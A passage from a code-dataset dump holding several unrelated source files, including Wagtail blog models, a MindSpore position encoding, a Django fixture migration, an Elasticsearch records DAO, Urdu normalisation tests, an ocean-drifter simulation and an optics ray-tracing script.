\"height\": value.height,\n }\n\n\nclass BlogAuthorOrderables(Orderable):\n \"\"\" To select authors from Snippet \"\"\"\n\n page = ParentalKey(\"blog.BlogDetailPage\",related_name=\"blog_authors\")\n author = models.ForeignKey(\n \"blog.BlogAuthor\",\n on_delete= models.CASCADE,\n )\n\n panels =[\n SnippetChooserPanel(\"author\")\n ]\n\n @property\n def author_name(self):\n return self.author.name\n \n @property\n def author_website(self):\n return self.author.website\n\n @property\n def author_image(self):\n return self.author.image\n\n api_fields = [\n APIField(\"author_name\"),\n APIField(\"author_website\"),\n APIField(\"author_image\",serializer=ImageSerializedField()),\n ]\n\nclass BlogAuthor(models.Model):\n \"\"\" Blog Author For Snippets \"\"\"\n \n name = models.CharField(max_length = 100)\n website = models.URLField(blank=True,null=True)\n image = models.ForeignKey(\n \"wagtailimages.Image\",\n null=True,\n blank = False,\n on_delete = models.SET_NULL,\n related_name = '+'\n )\n\n panels = [\n MultiFieldPanel(\n [\n FieldPanel(\"name\"),\n ImageChooserPanel(\"image\"),\n ],heading=\"Name And Image\"\n ),\n MultiFieldPanel([\n FieldPanel(\"website\"),\n ],heading=\"Links\"\n ) \n ]\n\n def __str__(self):\n return self.name\n\n class Meta:\n verbose_name = \"Blog Author\"\n verbose_name_plural = \"Blog Authors\"\n\nregister_snippet(BlogAuthor)\n\n\n","sub_path":"blog/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":8234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"64404731","text":"# Copyright 2022 Huawei Technologies Co., Ltd\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ============================================================================\n\"\"\"position encoding\"\"\"\nimport math\n\nfrom mindspore import Tensor\nfrom mindspore import dtype as mstype\nfrom mindspore import nn\nfrom mindspore import numpy as mnp\nfrom mindspore import ops\n\n\nclass PositionEmbeddingSine(nn.Cell):\n \"\"\"\n This is a more standard version of the position embedding, very similar to the one\n used by the Attention is all you need paper, generalized to work on images.\n \"\"\"\n def __init__(self, num_pos_feats=64, temperature=10000, normalize=False, scale=None):\n super().__init__()\n self.num_pos_feats = num_pos_feats\n self.temperature = Tensor(temperature)\n self.normalize = normalize\n if scale is not None and normalize is False:\n raise ValueError(\"normalize should be True if scale is passed\")\n if scale is None:\n scale = 2 * math.pi\n self.scale = scale\n\n def construct(self, mask):\n \"\"\"construct\"\"\"\n not_mask = ~mask.astype('bool')\n y_embed = not_mask.cumsum(1, dtype=mstype.float32)\n x_embed = not_mask.cumsum(2, dtype=mstype.float32)\n if self.normalize:\n eps = 1e-6\n y_embed = y_embed / (y_embed[:, -1:, :] + eps) * self.scale\n x_embed = x_embed / (x_embed[:, :, -1:] + eps) * self.scale\n\n dim_t = mnp.arange(self.num_pos_feats, dtype=mstype.float32)\n dim_t = self.temperature ** (2 * (dim_t // 2) / self.num_pos_feats)\n\n pos_x = x_embed[:, :, :, None] / dim_t\n pos_y = y_embed[:, :, :, None] / dim_t\n pos_x = ops.Stack(axis=4)((ops.Sin()(pos_x[:, :, :, 0::2]), ops.Cos()(pos_x[:, :, :, 1::2])))\n pos_x = pos_x.view(*pos_x.shape[:3], -1)\n pos_y = ops.Stack(axis=4)((ops.Sin()(pos_y[:, :, :, 0::2]), ops.Cos()(pos_y[:, :, :, 1::2])))\n pos_y = pos_y.view(*pos_y.shape[:3], -1)\n pos = ops.Concat(axis=3)((pos_y, pos_x)).transpose(0, 3, 1, 2)\n return pos\n","sub_path":"research/cv/detr/src/position_encoding.py","file_name":"position_encoding.py","file_ext":"py","file_size_in_byte":2577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"48465932","text":"# Sky Moon Stars\n# Illustrates star( ) function\n# JORourke\n\nfrom graphics import *\nfrom random import randint, seed\n\ndebug=False\n\ndef star( cx, cy, win ):\n\n # Coordinates of corners of a regular pentagon\n xcoords = [1,0.309,-0.809,-0.809,0.309,1]\n ycoords = [0,0.951,0.588,-0.588,-0.951,0]\n # Create a list that will hold the five points\n p = [0,0,0,0,0]\n\n # Scale factor to enlarge:\n s = 5\n for k in range( 5 ):\n p[k] = Point( cx + s*xcoords[k], cy + s*ycoords[k] )\n\n # Now draw star by skipping one vertex of the pentagon\n star = Polygon( p[0],p[2],p[4],p[1],p[3] )\n star.setFill( 'white' )\n star.setOutline( 'white' )\n star.draw( win )\n \n\ndef main(): \n win = GraphWin( 'SkyMoonStars', 400, 400 )\n color = color_rgb( 0, 0, 50 )\n win.setBackground( color )\n win.setCoords( -100, -100, 100, 100 )\n\n p1 = Point( -100, -100 )\n p2 = Point( 100, 0 )\n rect = Rectangle( p1, p2 )\n rect.setFill( 'dark green' )\n rect.draw( win )\n\n #-----------------------------------------\n\n # Bottom half of sky\n step = 1\n for y in range( 0, 50, step ):\n p1 = Point( -100, y )\n p2 = Point( 100, y + step )\n rect = Rectangle( p1, p2 )\n color = color_rgb( 0, 0, 250-5*y )\n rect.setFill( color )\n rect.setOutline( color )\n rect.draw( win )\n\n # Top half of sky\n p1 = Point( -100, 50 )\n p2 = Point( 100, 100 )\n rect = Rectangle( p1, p2 )\n dblue = 'black'\n rect.setFill( dblue )\n rect.draw( win )\n\n #-----------------------------------------\n\n # Stars\n if debug: seed( 2 )\n for i in range( 10 ):\n x = randint( -100, 100 )\n y = randint( 10, 100 )\n star( x, y, win )\n\n #-----------------------------------------\n \n # Moon\n cmoon = Point( -50, 75 )\n rmoon = 25\n circ = Circle( cmoon, rmoon )\n circ.setFill( 'yellow' )\n circ.draw( win )\n\n # Mood mask\n cmask = Point( -40, 70 )\n circ = Circle( cmask, rmoon )\n circ.setFill( dblue )\n circ.setOutline( dblue )\n circ.draw( win )\n\n #-----------------------------------------\n \n # Close window\n win.getMouse()\n win.close()\n\nmain()\n","sub_path":"python_ play_around _activities/moonlight2.py","file_name":"moonlight2.py","file_ext":"py","file_size_in_byte":2194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"449664971","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom django.db import models, migrations\nimport os\nfrom django.core import serializers\n\nfixture_dir = os.path.dirname(__file__)\nfixture_filename = 'sections_and_story_types.json'\n\n\ndef load_fixture(apps, schema_editor):\n fixture_file = os.path.join(fixture_dir, fixture_filename)\n fixture = open(fixture_file, 'rb')\n objects = serializers.deserialize('json', fixture, ignorenonexistent=True)\n for obj in objects:\n obj.save()\n fixture.close()\n\n\ndef unload_fixture(apps, schema_editor):\n \"Brutally deleting all entries for this model...\"\n for modelname in ('Section', 'StoryType'):\n model = apps.get_model('stories', modelname)\n model.objects.all().delete()\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('stories', '0002_auto_20141217_1841'),\n ]\n\n operations = [\n migrations.RunPython(\n load_fixture,\n reverse_code=unload_fixture,\n ),\n ]\n","sub_path":"apps/stories/migrations/0003_data_load_sections_and_storytypes.py","file_name":"0003_data_load_sections_and_storytypes.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"186957086","text":"from typing import Any, Dict, Iterable, List, Optional\n\nfrom fastapi import Depends\nfrom rubrix.server.commons.es_wrapper import ElasticsearchWrapper, create_es_wrapper\nfrom rubrix.server.commons.helpers import unflatten_dict\nfrom rubrix.server.commons.settings import settings\nfrom rubrix.server.datasets.dao import (\n DATASETS_RECORDS_INDEX_NAME,\n dataset_records_index,\n)\nfrom rubrix.server.datasets.model import DatasetDB\nfrom rubrix.server.tasks.commons.dao.model import RecordSearch, RecordSearchResults\nfrom rubrix.server.tasks.commons.es_helpers import (\n EsRecordDataFieldNames,\n aggregations,\n parse_aggregations,\n)\nfrom stopwordsiso import stopwords\n\nSUPPORTED_LANGUAGES = [\"es\", \"en\", \"fr\", \"de\"]\n\nDATASETS_RECORDS_INDEX_TEMPLATE = {\n \"settings\": {\n \"number_of_shards\": settings.es_records_index_shards,\n \"number_of_replicas\": settings.es_records_index_replicas,\n \"analysis\": {\n \"analyzer\": {\n \"multilingual_stop_analyzer\": {\n \"type\": \"stop\",\n \"stopwords\": [w for w in stopwords(SUPPORTED_LANGUAGES)],\n }\n }\n },\n },\n \"index_patterns\": [DATASETS_RECORDS_INDEX_NAME.format(\"*\")],\n \"mappings\": {\n \"properties\": {\n \"event_timestamp\": {\"type\": \"date\"},\n EsRecordDataFieldNames.words: {\n \"type\": \"text\",\n \"fielddata\": True,\n \"analyzer\": \"multilingual_stop_analyzer\",\n },\n # TODO: Not here since is task dependant\n \"tokens\": {\"type\": \"text\"},\n },\n \"dynamic_templates\": [\n # TODO: Not here since is task dependant\n {\"inputs\": {\"path_match\": \"inputs.*\", \"mapping\": {\"type\": \"text\"}}},\n {\n \"status\": {\n \"path_match\": \"*.status\",\n \"mapping\": {\n \"type\": \"keyword\",\n },\n }\n },\n {\n \"predicted\": {\n \"path_match\": \"*.predicted\",\n \"mapping\": {\n \"type\": \"keyword\",\n },\n }\n },\n {\n \"strings\": {\n \"match_mapping_type\": \"string\",\n \"mapping\": {\n \"type\": \"keyword\",\n \"ignore_above\": 128, # Avoid bulk errors with too long keywords\n # Some elasticsearch versions includes automatically raw fields, so\n # we must limit those fields too\n \"fields\": {\"raw\": {\"type\": \"keyword\", \"ignore_above\": 128}},\n },\n }\n },\n ],\n },\n}\n\n\nclass DatasetRecordsDAO:\n \"\"\"Datasets records DAO\"\"\"\n\n def __init__(self, es: ElasticsearchWrapper):\n self._es = es\n self.init()\n\n def init(self):\n \"\"\"Initializes dataset records dao. Used on app startup\"\"\"\n self._es.create_index_template(\n name=DATASETS_RECORDS_INDEX_NAME,\n template=DATASETS_RECORDS_INDEX_TEMPLATE,\n force_recreate=True,\n )\n\n def add_records(\n self,\n dataset: DatasetDB,\n records: List[Dict[str, Any]],\n ) -> int:\n \"\"\"\n Add records to dataset\n\n Parameters\n ----------\n dataset:\n The dataset\n records:\n The list of records\n\n Returns\n -------\n The number of failed records\n\n \"\"\"\n return self._es.add_documents(\n index=dataset_records_index(dataset.id),\n documents=records,\n doc_id=lambda r: r.get(\"id\"),\n )\n\n def search_records(\n self,\n dataset: DatasetDB,\n search: Optional[RecordSearch] = None,\n size: int = 100,\n record_from: int = 0,\n ) -> RecordSearchResults:\n \"\"\"\n SearchRequest records under a dataset given a search parameters.\n\n Parameters\n ----------\n dataset:\n The dataset\n search:\n The search params\n size:\n Number of records to retrieve (for pagination)\n record_from:\n Record from witch retrieve records (for pagination)\n Returns\n -------\n The search result\n\n \"\"\"\n search = search or RecordSearch()\n records_index = dataset_records_index(dataset.id)\n metadata_fields = self._es.get_field_mapping(\n index=records_index, field_name=\"metadata.*\"\n )\n search_aggregations = (\n {\n **(search.aggregations or {}),\n **aggregations.predicted_as(),\n **aggregations.predicted_by(),\n **aggregations.annotated_as(),\n **aggregations.annotated_by(),\n **aggregations.status(),\n **aggregations.predicted(),\n **aggregations.words_cloud(),\n **aggregations.score(), # TODO: calculate score directly from dataset\n **aggregations.custom_fields(metadata_fields),\n }\n if record_from == 0\n else None\n )\n\n if record_from > 0:\n search_aggregations = None\n\n es_query = {\n \"size\": size,\n \"from\": record_from,\n \"query\": search.query or {\"match_all\": {}},\n \"sort\": [{\"_id\": {\"order\": \"asc\"}}], # TODO: Sort by event timestamp?\n \"aggs\": search_aggregations or {},\n }\n results = self._es.search(index=records_index, query=es_query, size=size)\n\n hits = results[\"hits\"]\n total = hits[\"total\"]\n docs = hits[\"hits\"]\n search_aggregations = results.get(\"aggregations\", {})\n\n result = RecordSearchResults(\n total=total,\n records=[doc[\"_source\"] for doc in docs],\n )\n if search_aggregations:\n parsed_aggregations = parse_aggregations(search_aggregations)\n parsed_aggregations = unflatten_dict(\n parsed_aggregations, stop_keys=[\"metadata\"]\n )\n\n result.words = parsed_aggregations.pop(\"words\")\n result.metadata = parsed_aggregations.pop(\"metadata\", {})\n result.aggregations = parsed_aggregations\n return result\n\n def scan_dataset(\n self,\n dataset: DatasetDB,\n search: Optional[RecordSearch] = None,\n ) -> Iterable[Dict[str, Any]]:\n \"\"\"\n Iterates over a dataset records\n\n Parameters\n ----------\n dataset:\n The dataset\n search:\n The search parameters. Optional\n\n Returns\n -------\n An iterable over found dataset records\n \"\"\"\n search = search or RecordSearch()\n es_query = {\n \"query\": search.query,\n }\n docs = self._es.list_documents(\n dataset_records_index(dataset.id), query=es_query\n )\n for doc in docs:\n yield doc[\"_source\"]\n\n\n_instance: Optional[DatasetRecordsDAO] = None\n\n\ndef dataset_records_dao(\n es: ElasticsearchWrapper = Depends(create_es_wrapper),\n) -> DatasetRecordsDAO:\n \"\"\"\n Creates a dataset records dao instance\n\n Parameters\n ----------\n es:\n The elasticserach wrapper dependency\n\n \"\"\"\n global _instance\n if not _instance:\n _instance = DatasetRecordsDAO(es)\n return _instance\n","sub_path":"src/rubrix/server/tasks/commons/dao/dao.py","file_name":"dao.py","file_ext":"py","file_size_in_byte":7534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"91596139","text":"# coding: utf8\n\"\"\"test case\"\"\"\nfrom urduhack.urdu_characters import URDU_DIACRITICS, URDU_ALPHABETS\nfrom .. import digits_space, punctuations_space, remove_diacritics, english_characters_space\n\n\ndef test_english_space():\n \"\"\"Test cases\"\"\"\n data = {\n \"سکیورٹی حکام کے مطابق جنوبی صوبےLahj میں رات گئے۔\": \"سکیورٹی حکام کے مطابق جنوبی صوبے Lahj میں رات گئے۔\",\n \"اس جوڑے کی دو نوجوان Amna and Aliyaبیٹیاں ہیں۔\": \"اس جوڑے کی دو نوجوان Amna and Aliya بیٹیاں ہیں۔\",\n \"جو ان تمام واقعات سے لاعلمIgnorantہیں۔\": \"جو ان تمام واقعات سے لاعلم Ignorant ہیں۔\",\n \"خاتون Aliyaنے بچوںUzma and Aliyaکے قتل کا اعترافConfession کیا ہے۔\": \"خاتون Aliya نے بچوں Uzma and Aliya کے\"\n \" قتل کا اعتراف Confession کیا ہے۔\",\n }\n for key, value in data.items():\n assert value == english_characters_space(key)\n\n\ndef test_digits_space():\n \"\"\"Test cases\"\"\"\n data = {\"20فیصد\": \"20 فیصد\",\n \"18سالہ\": \"18 سالہ\",\n \"18.30سالہ\": \"18.30 سالہ\",\n \"سالہ18\": \"سالہ 18\",\n \"سالہ30.18\": \"سالہ 30.18\",\n \" 44 سالہ20فیصد30\": \" 44 سالہ 20 فیصد 30\",\n \"ان میں 1990ء30\": \"ان میں 1990ء 30\",\n \"ان میں 1990ء کے\": \"ان میں 1990ء کے\",\n \"ان میں ء1990ء کے\": \"ان میں ء 1990ء کے\",\n }\n for key, value in data.items():\n assert value == digits_space(key)\n\n\ndef test_punctuations_space():\n \"\"\"Test cases\"\"\"\n data = {\"ہوتا۔ انہوں\": \"ہوتا۔ انہوں\",\n \"ہوتا،انہوں\": \"ہوتا، انہوں\",\n \"۔۔۔۔۔۔۔۔۔\": \"۔۔۔۔۔۔۔۔۔\",\n \"۔۔۔۔،،۔۔۔۔۔\": \"۔۔۔۔،،۔۔۔۔۔\",\n \"ہوتا ہے ۔ ٹائپ\": \"ہوتا ہے۔ ٹائپ\",\n \"ہوتا ہے ۔ٹائپ\": \"ہوتا ہے۔ ٹائپ\",\n \"ہوتا ہے؟ٹائپ\": \"ہوتا ہے؟ ٹائپ\",\n \"ہوتا ہے،ٹائپ\": \"ہوتا ہے، ٹائپ\",\n \"ہوتا ہے ؟ٹائپ\": \"ہ��تا ہے؟ ٹائپ\",\n \"ہوتا ہے ؟ ٹائپ\": \"ہوتا ہے؟ ٹائپ\",\n\n \"ہوتا ہے۔ٹائپ\": \"ہوتا ہے۔ ٹائپ\",\n \"ہوتا ہے ۔ ٹائپ\": \"ہوتا ہے۔ ٹائپ\",\n \"ہوتا ہے ، ٹائپ\": \"ہوتا ہے، ٹائپ\",\n \"ہوتا ہے،\\n\": \"ہوتا ہے،\\n\",\n\n }\n for key, value in data.items():\n assert value == punctuations_space(key)\n\n\ndef test_remove_diacritics():\n \"\"\"remove_diacritics Test case\"\"\"\n words: dict = {\"اب\": \"اَب\",\n \"شیر پنجاب\": \"شیرِ پنجاب\",\n \"اوگول\": \"اُوگول\",\n \"ای\": \"اِی\",\n \"اباوگل\": \"اَباُوگل\",\n \"شرپن\": \"شرِپن\",\n \"ااایول\": \"اَاُاِیول\",\n \"اے\": \"اَے\",\n \"اوشیر\": \"اُوشیر\",\n \"او\": \"اَو\",\n }\n\n for key, val in words.items():\n norm = remove_diacritics(val)\n assert key == norm\n for char in norm:\n assert char not in URDU_DIACRITICS, norm\n\n if char != ' ':\n assert char in URDU_ALPHABETS, norm\n","sub_path":"urduhack/normalization/tests/test_util.py","file_name":"test_util.py","file_ext":"py","file_size_in_byte":3658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"57261297","text":"# Module 4-6\n# Additive Synthesis\n\nfrom earsketch import *\n\n#Initialize new effect:\nadditive = initEffect('basicAdd')\n\nbaseFreq = 440\noutput = createUGen(additive, OUTPUT)\n\n# create and connect ugens: (note that there is no input)\nfor i in range(5):\n harmonic = i + 1\n freq = baseFreq * harmonic\n osc = createUGen(additive, SINE)\n times = createUGen(additive, TIMES)\n setParam(osc, FREQUENCY, freq)\n setParam(times, VALUE, 1.0 / harmonic)\n println(freq)\n println(1.0 / harmonic)\n connect(additive, osc, times)\n connect(additive, times, output)\n\n#Must finish effect before using:\nfinishEffect(additive)","sub_path":"additive_4.6.py","file_name":"additive_4.6.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"393223673","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n@author: Philippe Frankemölle\r\n\r\nVirtual surface drifter simulations \r\n\"\"\"\r\n\r\n#importing modules\r\nfrom parcels import (FieldSet, AdvectionRK4, ParticleFile, ParticleSet, JITParticle, Variable, ErrorCode)\r\nfrom datetime import timedelta as delta\r\nimport numpy as np\r\n\r\nclass FADParticle(JITParticle): #create different particle class that keeps track of drift time\r\n drift_time = Variable('drift_time', dtype=np.float32, to_write='True')\r\ndef OutOfBounds(particle, fieldset, time):\r\n particle.delete()\r\ndef DriftTime(particle, fieldset, time): #function that determines drifttime (in seconds)\r\n particle.drift_time = particle.drift_time + 6*3600\r\n if particle.drift_time>= 180*24*3600: #delete particles after N*24*3600s, N days\r\n particle.delete()\r\ndef PeriodicBoundary1(particle, fieldset, time):\r\n if particle.lon > 180.: #ensures that particles always stay between [-180,180] degrees\r\n particle.lon += -360\r\ndef PeriodicBoundary2(particle, fieldset, time):\r\n if particle.lon < -180.:#ensures that particles always stay between [-180,180] degrees\r\n particle.lon += 360\r\ndef OffTheGrid1(particle, fieldset, time):\r\n if particle.lat > 31: #deletes particles that drift too far northwards\r\n particle.delete()\r\n\r\n#load MOi data for horizontal velocities over 50 meters depth\r\ndef set_MOi_50m_fieldset():\r\n data_path = '/storage/shared/oceanparcels/input_data/'\r\n \r\n listdates= np.arange('2006-11-01', '2022-01-01', dtype='datetime64[D]') #time range for loaded data\r\n file_path_U = [] #list for data path to zonal velocity data\r\n file_path_V = [] #list for data path to meridional velocity data\r\n for i in range(len(listdates)):\r\n file_path_U.append(data_path + 'MOi/psy4v3r1/psy4v3r1-daily_U_' + str(listdates[i]) +'.nc')\r\n file_path_V.append(data_path + 'MOi/psy4v3r1/psy4v3r1-daily_V_' + str(listdates[i]) +'.nc')\r\n filenames = {'U': {'lon': data_path + 'NEMO-MEDUSA/ORCA0083-N006/domain/coordinates.nc',\r\n 'lat': data_path + 'NEMO-MEDUSA/ORCA0083-N006/domain/coordinates.nc',\r\n 'depth': data_path + 'MOi/psy4v3r1/psy4v3r1-daily_W_' + str(listdates[0]) +'.nc',\r\n 'data': file_path_U},\r\n 'V': {'lon': data_path + 'NEMO-MEDUSA/ORCA0083-N006/domain/coordinates.nc',\r\n 'lat': data_path + 'NEMO-MEDUSA/ORCA0083-N006/domain/coordinates.nc',\r\n 'depth': data_path + 'MOi/psy4v3r1/psy4v3r1-daily_W_' + str(listdates[0]) +'.nc',\r\n 'data': file_path_V}}\r\n variables = {'U': 'vozocrtx', 'V': 'vomecrty'}\r\n dimensions = {'lon': 'glamf', 'lat': 'gphif', 'depth': 'depthw','time': 'time_counter'}\r\n #indices that demarcate the tropical latitudes\r\n indices = {'lat': range(1100,1900), 'depth': range(0, 18)}\r\n #indices = {'depth': range(0, 18)}\r\n fset = FieldSet.from_nemo(filenames, variables, dimensions, indices,allow_time_extrapolation=True)\r\n fset.add_constant('max_drift_time', delta(days=3).total_seconds())\r\n return fset\r\n\r\ndef run_particles():\r\n fieldset = set_MOi_50m_fieldset()\r\n dz = np.gradient(fieldset.U.depth)\r\n DZ = np.moveaxis(np.tile(dz, (fieldset.U.grid.ydim, fieldset.U.grid.xdim, 1)), [0, 1, 2], [1, 2, 0])\r\n\r\n def compute(fieldset): \r\n # Calculating vertical weighted average\r\n for f in [fieldset.U, fieldset.V]:\r\n for tind in f.loaded_time_indices:\r\n f.data[tind, :] = np.sum(f.data[tind, :] * DZ, axis=0) / sum(dz)\r\n\r\n #fieldset.compute_on_defer = compute #toggle on/off to calculate depth averaged velocities\r\n \r\n #release locations for tropical pacific ocean\r\n latrange = np.linspace(-15,15,num = 61) #0.5 degrees\r\n lonrange = np.linspace(140,285,num = 291) #0.5 degrees\r\n latmesh,lonmesh = np.meshgrid(latrange,lonrange)\r\n latlist,lonlist = np.reshape(latmesh,-1),np.reshape(lonmesh,-1)\r\n lonlist[lonlist >180] = lonlist[lonlist >180] - 360 \r\n repeatdt = delta(days=10)\r\n \r\n pset = ParticleSet.from_list(fieldset=fieldset, pclass=FADParticle, #Practice particle dataset.\r\n lon = lonlist, lat = latlist, depth=0.5*np.ones(len(lonlist)), repeatdt=repeatdt)\r\n\r\n ofile = ParticleFile(\"20062021surface_wholepacific.nc\", pset, outputdt=delta(days=1))\r\n\r\n kernels = pset.Kernel(AdvectionRK4) + PeriodicBoundary1 + PeriodicBoundary2 + OffTheGrid1 + DriftTime\r\n pset.execute(kernels, runtime=delta(days=5539), dt=delta(hours=6), output_file=ofile,\r\n recovery={ErrorCode.ErrorOutOfBounds: OutOfBounds})\r\n\r\nrun_particles()","sub_path":"Code/WTPO_d0_FAD.py","file_name":"WTPO_d0_FAD.py","file_ext":"py","file_size_in_byte":4651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"594578732","text":"# クライアントを作成\r\n\r\nimport socket\r\n\r\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\r\n # サーバを指定\r\n s.connect(('127.0.0.1', 50007))\r\n # サーバにメッセージを送る\r\n val = input('Enter your message: ').encode()\r\n s.sendall(val)\r\n # s.sendall(b'hello')\r\n # ネットワークのバッファサイズは1024。サーバからの文字列を取得する\r\n data = s.recv(1024)\r\n #\r\n print(repr(data))\r\n","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"548255359","text":"#!/usr/bin/python3\n\"\"\"Solution code for the Day 6: The Central Limit Theorem II problem\"\"\"\n\nfrom distributions import cumulative_normal_distribution\n\ndef mean_prime(n_value: int, mean: float):\n \"\"\"method used to obtain the prime mean\"\"\"\n result = n_value*mean\n\n return result\n\ndef std_deviation_prime(n_value: int, std_deviation: float):\n \"\"\"method used to obtain the prime standard deviation\"\"\"\n result = (n_value**(1/2))*std_deviation\n\n return result\n\ndef main():\n \"\"\"Main method for the_central_limit_theorem_2 class\"\"\"\n\n x_value = float(input())\n n_value = int(input())\n mean = mean_prime(n_value, float(input()))\n std_deviation = std_deviation_prime(n_value, float(input()))\n\n print(round(cumulative_normal_distribution(mean, std_deviation, x_value), 4))\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"10_days_of_statistics/day_6/the_central_limit_theorem_2.py","file_name":"the_central_limit_theorem_2.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"588131246","text":"from OpticalElement import Optical_element\nfrom SurfaceConic import SurfaceConic\nfrom Beam import Beam\nfrom Vector import Vector\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport Shadow\n\n\nmain = \"__main__\"\n\n\ndef shadow_source():\n\n\n iwrite = 0\n\n beam = Shadow.Beam()\n oe0 = Shadow.Source()\n\n\n oe0.FDISTR = 3\n oe0.F_PHOT = 0\n oe0.HDIV1 = 1.0\n oe0.HDIV2 = 1.0\n oe0.IDO_VX = 0\n oe0.IDO_VZ = 0\n oe0.IDO_X_S = 0\n oe0.IDO_Y_S = 0\n oe0.IDO_Z_S = 0\n oe0.NPOINT = 25000\n oe0.PH1 = 10000.0\n oe0.SIGDIX = 8.84999972e-05\n oe0.SIGDIZ = 7.1999998e-06\n oe0.SIGMAX = 5.7000001e-05\n oe0.SIGMAZ = 1.04e-05\n oe0.VDIV1 = 1.0\n oe0.VDIV2 = 1.0\n\n\n if iwrite:\n oe0.write(\"start.00\")\n\n beam.genSource(oe0)\n\n if iwrite:\n oe0.write(\"end.00\")\n beam.write(\"begin.dat\")\n\n\n return beam\n\nif main == \"__main__\":\n\n\n varx = np.zeros(100)\n varz = np.zeros(100)\n qqq = np.zeros(100)\n\n #for i in range (0, 1):\n\n beam = Beam(25000)\n beam.set_circular_spot(1e-3)\n beam.set_divergences_collimated()\n\n\n shadow_beam = shadow_source()\n beam = Beam()\n beam.initialize_from_arrays(\n shadow_beam.getshonecol(1),\n shadow_beam.getshonecol(2),\n shadow_beam.getshonecol(3),\n shadow_beam.getshonecol(4),\n shadow_beam.getshonecol(5),\n shadow_beam.getshonecol(6),\n shadow_beam.getshonecol(10),\n 0\n )\n\n #beam = Beam()\n #beam.set_flat_divergence(0.01,0.01)\n\n\n\n beam_prova = beam.duplicate()\n\n p = 5.\n q = 15.\n theta = 88. * np.pi / 180\n beta = (90. + 0.) * np.pi / 180\n alpha = 87. * np.pi / 180\n\n xmax = 0.\n xmin = -0.4\n ymax = 0.4\n ymin = -0.4\n zmax = 0.4\n # print(\"zmax = %f\" %(zmax))\n # zmax = 0.4\n zmin = 0.\n\n oe1 = Optical_element.initialize_as_surface_conic_paraboloid_from_focal_distances(p=p, q=q, theta=theta, alpha=0., infinity_location=\"p\", focal=q, cylindrical=1)\n\n\n ccc1 = oe1.ccc_object.get_coefficients()\n print(ccc1)\n c1 = ccc1[1]\n c2 = ccc1[2]\n c4 = ccc1[4]\n c8 = ccc1[8]\n ####### rotation of the oe around y #############################################################################\n\n a = np.cos(beta)\n b = np.sin(beta)\n\n\n ccc2 = np.array([c2 * b ** 2, c1, c2 * a ** 2, -c4 * b, c4 * a, -2 * c2 * a * b, -c8 * b, 0., c8 * a, 0.])\n\n oe2 = Optical_element.initialize_as_surface_conic_from_coefficients(ccc2)\n oe2.p = p\n oe2.q = q\n oe2.theta = theta\n oe2.alpha = 0.\n oe2.type = \"Surface conical mirror\"\n\n # print(\"\\n\")\n # print(oe1.info())\n # print(\"\\n\")\n # print(oe2.info())\n # print(\"\\n\")\n\n\n ccc = np.array([0., 0., 0., 0., 0., 0., 0., 1., 0., -q])\n\n screen = Optical_element.initialize_as_surface_conic_from_coefficients(ccc)\n screen.set_parameters(p, q, 0., 0., \"Surface conical mirror\")\n\n # oe2 = Optical_element.initialize_as_surface_conic_ellipsoid_from_focal_distances(p=p, q=q, theta=theta, alpha=0., cylindrical=1)\n\n # beam.plot_xpzp()\n\n ########## rotation ##############################################################################################\n\n position = Vector(beam.x, beam.y, beam.z)\n velocity = Vector(beam.vx, beam.vy, beam.vz)\n\n position.rotation(-(np.pi / 2 - oe1.theta), \"x\")\n velocity.rotation(-(np.pi / 2 - oe1.theta), \"x\")\n position.rotation(-(np.pi / 2 - oe2.theta), \"z\")\n velocity.rotation(-(np.pi / 2 - oe2.theta), \"z\")\n\n [beam.x, beam.y, beam.z] = [position.x, position.y, position.z]\n [beam.vx, beam.vy, beam.vz] = [velocity.x, velocity.y, velocity.z]\n\n ######## translation ###############################################################################################\n\n vector_point = Vector(0, oe2.p, 0)\n\n vector_point.rotation(-(np.pi / 2 - oe2.theta), \"z\")\n vector_point.rotation(-(np.pi / 2 - oe2.theta), \"x\")\n\n beam.x = beam.x - vector_point.x\n beam.y = beam.y - vector_point.y\n beam.z = beam.z - vector_point.z\n\n\n # print(\"beam.x = %f, beam.y = %f, beam.z = %f\" % (np.mean(beam.x), np.mean(beam.y), np.mean(beam.z)))\n # print(\"beam.vx = %f, beam.vy = %f, beam.vz = %f\" % (np.mean(beam.vx), np.mean(beam.vy), np.mean(beam.vz)))\n\n # print(\"theta angle = %f\" %((np.arctan(np.mean(beam.z/beam.y))*180/np.pi)))\n # print(\"fi angle = %f\" %((np.arctan(np.mean(beam.x/beam.y))*180/np.pi)))\n\n ###### beam separation ###############################################################################################\n\n beam1 = beam.duplicate()\n beam2 = beam.duplicate()\n beam3 = beam.duplicate()\n beam0 = beam.duplicate()\n\n##### #####################################################################################################################\n#\n# print(np.mean(beam1.x), 